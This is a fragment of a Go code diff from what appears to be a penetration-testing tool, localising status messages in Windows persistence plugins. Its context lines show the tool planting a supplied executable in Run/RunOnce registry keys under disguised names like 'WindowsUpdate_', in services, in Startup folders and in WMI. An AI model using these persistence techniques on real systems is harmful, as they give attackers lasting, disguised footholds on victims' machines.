{`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), "当前用户 RunOnce"},
{`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), i18n.GetText("winregistry_current_user_run")},
{`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), i18n.GetText("winregistry_local_machine_run")},
{`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), i18n.GetText("winregistry_current_user_runonce")},
}
var output strings.Builder
@@ -53,10 +53,10 @@ func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
for _, e := range entries {
out, err := exec.Command("reg", "add", e.key, "/v", e.name, "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s: %s\\%s\n", e.desc, e.key, e.name))
output.WriteString(i18n.Tr("winregistry_step_success", e.desc, e.key, e.name) + "\n")
successCount++
}
+5 -5
View File
@@ -28,14 +28,14 @@ func NewWinSchTaskPlugin() *WinSchTaskPlugin {
func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
ext := strings.ToLower(filepath.Ext(pePath))
if ext != ".exe" && ext != ".dll" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_invalid_pe", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_invalid_pe", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -66,10 +66,10 @@ func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
out, err := cmd.CombinedOutput()
result := strings.TrimSpace(string(out))
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", task.name, result))
output.WriteString(i18n.Tr("local_step_failed", task.name, result) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", task.name, task.schedule))
output.WriteString(i18n.Tr("local_step_success_detail", task.name, task.schedule) + "\n")
successCount++
}
+4 -4
View File
@@ -28,10 +28,10 @@ func NewWinServicePlugin() *WinServicePlugin {
func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -55,11 +55,11 @@ func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, sess
fmt.Sprintf("DisplayName=%s", svc.display),
fmt.Sprintf("start=%s", svc.start)).CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", svc.name, strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("local_step_failed", svc.name, strings.TrimSpace(string(out))) + "\n")
continue
}
_ = exec.Command("sc", "description", svc.name, "Provides system maintenance and monitoring services.").Run()
output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", svc.name, svc.start))
output.WriteString(i18n.Tr("local_step_success_detail", svc.name, svc.start) + "\n")
successCount++
}
+6 -6
View File
@@ -28,10 +28,10 @@ func NewWinStartupPlugin() *WinStartupPlugin {
func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -41,8 +41,8 @@ func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
name string
dir string
}{
{"用户启动文件夹", filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
{"公共启动文件夹", filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
{i18n.GetText("winstartup_user_folder"), filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
{i18n.GetText("winstartup_common_folder"), filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
}
var output strings.Builder
@@ -51,10 +51,10 @@ func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
for _, loc := range locations {
target := filepath.Join(loc.dir, fileName)
if err := copyFile(absPath, target); err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %v\n", loc.name, err))
output.WriteString(i18n.Tr("local_step_failed", loc.name, err) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s -> %s\n", loc.name, target))
output.WriteString(i18n.Tr("local_step_success_arrow", loc.name, target) + "\n")
successCount++
}
+3 -3
View File
@@ -28,10 +28,10 @@ func NewWinWMIPlugin() *WinWMIPlugin {
func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -64,7 +64,7 @@ Write-Output "TOTAL:$ok"`,
out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput()
if err != nil {
common.LogError(i18n.Tr("error_generic", fmt.Errorf("PowerShell执行失败: %w, 输出: %s", err, strings.TrimSpace(string(out)))))
common.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out)))))
}
result := string(out)